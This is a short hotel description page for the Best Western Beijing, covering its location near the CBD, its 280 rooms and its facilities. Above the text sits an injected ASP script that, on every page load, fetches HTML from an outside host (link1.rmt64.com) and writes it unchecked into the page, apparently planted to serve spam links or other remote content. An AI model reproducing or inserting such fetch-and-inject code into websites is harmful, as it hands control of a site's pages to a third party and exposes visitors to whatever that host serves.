<%
function getHTTPPage(url)
dim Http
set Http=server.createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=BytesToBstr(Http.responseBody,"utf-8")
set http=nothing
if err.number<>0 then err.Clear
end function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim Url,Html
Url="http://link1.rmt64.com/link.html"
Html = getHTTPPage(Url)
Response.ContentType="text/html;charset=gb2312"
Response.write Html
%>
The Best Western Beijing (Shiji yuanyang binguan) is a 4-star luxury hotel situated within a prime location of high ranked culture. It is within the heart of the Beijing Cultural Business District (CBD) and Lufthansa Center. The largest antique city and the Beijing Capital Library are within walking distance. Only forty minutes to the Beijing Capitol Airport and 10 minutes to the railway station.
The hotel has 280 guestrooms and suites which are intelligently furnished and equipped with Broadband Internet connection. The hotel restaurants and bar are decorated eloquently and the Ocean Ballroom and five meeting rooms have features for catering, banquet receptions and meetings. The recreation center is well designed with state-of-art facilities.